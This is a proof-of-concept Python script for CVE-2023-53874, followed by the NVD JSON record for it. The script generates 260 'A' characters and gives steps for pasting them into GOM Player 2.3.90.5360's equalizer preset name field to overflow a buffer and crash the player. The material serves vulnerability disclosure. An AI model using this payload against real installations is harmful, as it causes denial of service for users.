CVE-2023-53874

#!/usr/bin/env python3 # CVE-2023-53874 PoC - GOM Player Buffer Overflow via Equalizer Preset Name # Author: VulnCheck # Description: This PoC demonstrates buffer overflow in GOM Player 2.3.90.5360 # by sending 260 'A' characters to the equalizer preset name field import sys def generate_bof_payload(): """ Generate buffer overflow payload for GOM Player equalizer preset name. The vulnerability is triggered when preset name contains 260+ characters. """ # Buffer size is 260 bytes, overflow occurs with 260 'A' characters overflow_length = 260 payload = 'A' * overflow_length return payload def main(): print("=" * 60) print("CVE-2023-53874 PoC - GOM Player Buffer Overflow") print("=" * 60) print(f"\nTarget: GOM Player 2.3.90.5360") print(f"Vulnerability: Buffer Overflow in Equalizer Preset Name") print(f"CVSS Score: 9.8 (Critical)") print("-" * 60) payload = generate_bof_payload() print(f"\nGenerated payload ({len(payload)} bytes):") print(f"First 50 chars: {payload[:50]}...") print(f"Last 10 chars: ...{payload[-10:]}") print("\n" + "-" * 60) print("Usage Instructions:") print("1. Open GOM Player 2.3.90.5360") print("2. Navigate to Audio > Equalizer") print("3. Create new preset or edit existing preset") print("4. Copy and paste the payload into the Preset Name field") print("5. Save the preset to trigger the buffer overflow") print("\nExpected Result: GOM Player application crash/termination") print("=" * 60) # Also output raw payload for file export print(f"\n[+] Raw payload ready for export: {len(payload)} bytes") return 0 if __name__ == "__main__": sys.exit(main())

{"cve": {"id": "CVE-2023-53874", "sourceIdentifier": "[email protected]", "published": "2025-12-15T21:15:49.973", "lastModified": "2025-12-18T22:35:17.153", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GOM Player 2.3.90.5360 contains a buffer overflow vulnerability in the equalizer preset name input field that allows attackers to crash the application. Attackers can overwrite the preset name with 260 'A' characters to trigger a buffer overflow and cause application instability."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gomlab:gom_player:2.3.90.5360:*:*:*:*:*:*:*", "matchCriteriaId": "560DA310-4E30-486A-81C3-8B94C9157D38"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/51724", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.gomlab.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/gom-player-buffer-overflow-via-equalizer-preset-name", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51724", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}]}}